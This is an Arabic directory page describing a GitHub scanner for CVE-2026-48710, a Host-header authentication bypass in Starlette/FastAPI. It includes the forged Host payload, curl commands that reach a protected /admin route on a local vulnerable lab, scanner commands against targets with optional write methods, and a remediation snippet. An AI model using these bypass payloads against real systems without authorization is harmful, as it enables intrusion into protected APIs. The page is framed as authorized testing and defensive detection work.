Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
BadHost-CVE-2026-48710-Exploit — ماسح ضوئي للكشف عن CVE-2026-48710 - تجاوز المصادقة عبر عنوان المضيف في Starlette/FastAPI | Kitploit
أدوات/GitHubGitHub/bhanunamikaze/badhost-cve-2026-48710-exploit
المصادقة والترخيصماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIاختبار الاختراقمختبرات وتدريب عملي
GitHub

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
bhanunamikaze/badhost-cve-2026-48710-exploit

BadHost-CVE-2026-48710-Exploit

ماسح ضوئي للكشف عن CVE-2026-48710 - تجاوز المصادقة عبر عنوان المضيف في Starlette/FastAPI

عرض المستودع
117منذ 4 أشهرلم تتم المراجعة بعد

BadHost — ماسح CVE-2026-48710

ماسح للتحقق من ثغرة تجاوز المصادقة BadHost في Starlette / FastAPI — حيث يقرأ middleware المصادقة request.url.path بدلاً من request.scope["path"]، مما يتيح تزوير رأس Host لتهريب مسار مسموح به وتجاوز المصادقة.

GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette ترى request.url.path == "/health" → مسموح
# ASGI لا يزال يوجّه إلى /admin → تم التجاوز

المتأثر: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
تم الإصلاح في: Starlette 0.46.2+


الميزات

  • تمرير رابط كامل (https://host/path) — يُستخرج المسار تلقائياً كفحص
  • تحميل النقاط النهائية من مواصفات FastAPI/OpenAPI بصيغة JSON أو YAML (ملف أو رابط)
  • اكتشاف تلقائي للمسارات غير المصادق عليها لاستخدامها كمرشحين للحقن
  • اختبار كلا الحاملين Host و X-Forwarded-Host، واستراتيجيتين للحمولة
  • إعدادات مسبقة مضمنة لنقاط نهاية AI/LLM (--preset ai) و MCP (--preset mcp)
  • الإخراج: ملخص نصي، --json، --csv
  • عرض تقدم المسح المباشر إلى stderr؛ بدون اعتماديات خارجية

مختبر الثغرات المحلي (badhost_vuln_lab/)

يحتوي على تطبيقين FastAPI للتحقق المحلي:

التطبيقالرابطالمصادقة تقرأ
الثغريhttp://127.0.0.1:8000request.url.path — تم التجاوز
المُصلَحhttp://127.0.0.1:8001request.scope["path"] — آمن
cd badhost_vuln_lab
docker compose up --build

أو بدون Docker:

pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001

اختبار التجاوز يدوياً

curl -i http://127.0.0.1:8000/admin                               # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin  # 200 — تم التجاوز
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin  # 403 — آمن

التثبيت

git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help   # Python 3.9+، لا حاجة لتثبيت pip

الاستخدام

# رابط كامل واحد — يُستخرج المسار تلقائياً، لا حاجة لخيارات إضافية
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder

# روابط كاملة متعددة
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users

# إضافة مسارات إضافية فوق رابط كامل
python badhost_openapi_scanner.py https://api.internal/checkout \
  --protected POST:/api/checkout --protected GET:/api/cart

# فحص للقراءة فقط من ملف openapi.json محلي
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json

# تضمين طرق الكتابة (للاختبار المرخص/المرحلي فقط)
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi ./openapi.json --openapi-methods all \
  --unsafe-allow-write --openapi-body-mode invalid

# جلب OpenAPI مباشرة من الهدف
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi http://api.internal:8000/openapi.json

# أهداف متعددة، إخراج CSV
python badhost_openapi_scanner.py --targets-file targets.txt \
  --openapi ./openapi.json --csv > results.csv

# مسارات AI/LLM + MCP مسبقة (لا حاجة لـ OpenAPI)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all

--openapi-body-mode invalid يرسل {} لطرق الكتابة — يؤدي إلى خطأ FastAPI 422 بعد تجاوز المصادقة دون تنفيذ النقطة النهائية. النتيجة baseline=403 test=422 لا تزال نتيجة مشتبه بها تستحق الفحص.
لا تستخدم --openapi-body-mode minimal في الإنتاج — فهو يبني نصوص طلب صالحة قد تنفذ نقاط نهاية الكتابة.


الأحكام

الحكمالمعنى
CONFIRMEDالأساسي 401/403 → الاختبار 2xx. ثغرة مؤكدة.
SUSPECTالأساسي 401/403 → الاختبار 404/405/422. يبدو أن بوابة المصادقة قد تم تجاوزها؛ تحقق يدوياً. خطأ 422 من FastAPI مهم بشكل خاص.
REJECTEDالوكيل رفض المضيف المشوه (400/421) قبل التجاوز
BLOCKEDالطلب المُعدّ لا يزال مرفوضاً
OPENيمكن الوصول إليه بدون مصادقة بالفعل — ليس هذه الثغرة

فقط CONFIRMED و SUSPEST يظهران في الإخراج. رمز الخروج 2 = مؤكد، 1 = مشتبه به، 0 = نظيف.


المعالجة

# الثغري
if request.url.path.startswith("/public"):
    ...

# المُصلَح
if request.scope["path"].startswith("/public"):
    ...

قم بالترقية إلى Starlette 0.46.2+ / FastAPI 0.116.0+.


للاختبار المصرح به فقط. امسح الأنظمة التي تملكها فقط أو التي لديك إذن صريح لاختبارها.

تنزيل الأداة